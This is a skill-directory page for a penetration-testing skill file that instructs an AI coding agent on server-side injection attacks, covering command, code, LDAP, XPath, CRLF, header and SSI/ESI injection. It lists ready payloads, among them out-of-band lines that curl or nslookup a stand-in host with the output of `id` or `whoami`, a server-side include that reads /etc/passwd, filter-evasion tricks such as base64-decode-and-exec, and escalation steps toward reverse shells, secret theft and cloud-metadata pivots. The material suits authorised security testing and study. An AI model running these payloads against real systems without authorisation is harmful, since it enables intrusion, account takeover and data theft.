Back to skills
SKILL.md
Web Injection
CSecurityServer-side injection beyond SQL — OS command injection, code/expression injection, LDAP, XPath, XML, CRLF/HTTP-response splitting, host-header injection, email-header injection, and server-side includes (SSI/ESI). Detection, blind/OAST confirmation, evasion, and RCE escalation. Use for any input reaching a shell, interpreter, directory service, parser, or header.
- 16 stars
- 0 votes
- 0 copies
- 1 view
- Added November 17, 2026
Security analysis
67/100- Uses curl or wget to download content
- Accesses sensitive system or user directories
npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill web-injection --agent claude-codeAre you the author of Web Injection?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-web-injection)---
name: web-injection
description: Server-side injection beyond SQL — OS command injection, code/expression injection, LDAP, XPath, XML, CRLF/HTTP-response splitting, host-header injection, email-header injection, and server-side includes (SSI/ESI). Detection, blind/OAST confirmation, evasion, and RCE escalation. Use for any input reaching a shell, interpreter, directory service, parser, or header.
---
# Server-Side Injection (Command / Code / LDAP / XPath / CRLF / Headers)
A family of "input reaches an interpreter" bugs. Approach is the same each time: find the interpreter, break its syntax, confirm (visible or out-of-band), evade filters, escalate.
## Trigger phrases
`command injection, os command injection, rce, code injection, ldap injection, xpath injection, crlf injection, http response splitting, host header injection, email header injection, ssi injection, esi injection`
## OS Command Injection
Input concatenated into a shell call. Test every param, filename, and header that might feed a system command (ping tools, PDF/image converters, git/archive handlers, DNS lookups).
- **Separators:** `;` `|` `||` `&` `&&` `%0a` (newline) `$(...)` `` `...` `` `{cmd,arg}`.
- **Inline / arg context:** `$(id)`, `` `id` ``, `|id`, `;id;`, newline-prefixed `%0aid`.
- **Blind confirmation (no output):** time delay `;sleep 10`, `|ping -c10 127.0.0.1`; OAST — `;nslookup $(whoami).oob.example`, `;curl http://oob.example/$(id|base64)` (see `${CLAUDE_PLUGIN_ROOT}/payloads/injection.md`).
- **Evasion:** quotes/concatenation (`w'h'o'am'i`, `wh$@oami`), `${IFS}` or `<` for spaces, `$(rev<<<imaohw)`, hex/base64-decode-and-exec, wildcard globbing, env-var tricks. Windows: `&`, `|`, `%COMSPEC%`, `cmd /c`, `powershell -enc`.
- **Escalate:** reverse shell (match target OS/arch), read secrets/config, pivot to cloud metadata, establish stable shell within RoE.
## Code / Expression Injection
Input reaches `eval`/`exec`/deserialization-like interpreters in the app language.
- **PHP:** `eval`, `assert`, `preg_replace /e`, `create_function`, dynamic `$$`/callbacks → `system()`, `passthru()`.
- **Python:** `eval`/`exec`/`pickle`/`yaml.load`, format-string `{0.__class__...}`, `__import__('os').system()`.
- **Node:** `eval`, `Function`, `child_process`, `vm` escape, template `${}`.
- **Ruby:** `eval`, `send`, `Open3`, ERB. **Java:** scripting engines, EL/OGNL/SpEL (→ see `web-ssti`).
- Probe arithmetic first (`7*7`→`49`) to confirm evaluation, then escalate to RCE gadgets.
## LDAP Injection
Input in an LDAP filter. Break the filter and alter logic.
- Auth bypass: `*`, `*)(uid=*))(|(uid=*`, `admin)(|(password=*)`.
- Blind extraction: boolean filters `)(cn=a*` incrementally. Watch for result-count/behavior changes.
## XPath / XQuery Injection
Input in an XPath query over XML data.
- Auth bypass: `' or '1'='1`, `'] | //user/* | a['`.
- Blind extraction: `substring(//user[1]/password,1,1)='a'` with boolean oracle; enumerate node tree with `count()`/`name()`.
## XML Injection
Unsanitized input into XML documents — tag injection to alter structure (privilege fields, quantities), and a gateway to XXE (→ `web-xxe`). Inject `<`, `>`, CDATA, and extra elements; check if structure changes server-side.
## CRLF Injection / HTTP Response Splitting
Input reflected into a response header (redirect `Location`, `Set-Cookie`, custom headers).
- Payloads: `%0d%0aSet-Cookie:x=1`, `%0d%0a%0d%0a<html>...` (body injection → reflected XSS), header smuggling, cache poisoning via injected caching headers. Also test log injection and `%0d%0a` in parameters used for internal requests.
## Host-Header Injection
App trusts the `Host` (or `X-Forwarded-Host`) header.
- Impacts: password-reset poisoning (reset link points to attacker host → account takeover), cache poisoning, routing/SSRF, web-cache deception. Test `Host:`, `X-Forwarded-Host:`, `X-Host:`, absolute-URI request line, and duplicate Host headers. Confirm the injected host appears in emails, links, or cached responses.
## Email-Header Injection
Input in `To`/`Subject`/name fields of a mail function. Inject `%0aBcc:attacker@x`, extra headers, or SMTP commands to send spam/phish or exfiltrate. Confirm via received mail.
## SSI / ESI Injection
- **SSI:** `<!--#exec cmd="id"-->`, `<!--#include virtual="/etc/passwd"-->` where `.shtml`/SSI is enabled.
- **ESI:** `<esi:include src=http://oob/>`, `<esi:include src="...">` against caching proxies (Varnish/Squid/Akamai) — can yield SSRF, XSS, and sometimes RCE.
## Depth rules
- For every injection class, if no output is visible, switch to **time-based then OAST** before concluding "not vulnerable."
- Chain: command/code injection → shell → host compromise; host-header → account takeover; CRLF → XSS/cache poisoning.
- See `${CLAUDE_PLUGIN_ROOT}/payloads/injection.md` for full payload and evasion sets.
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.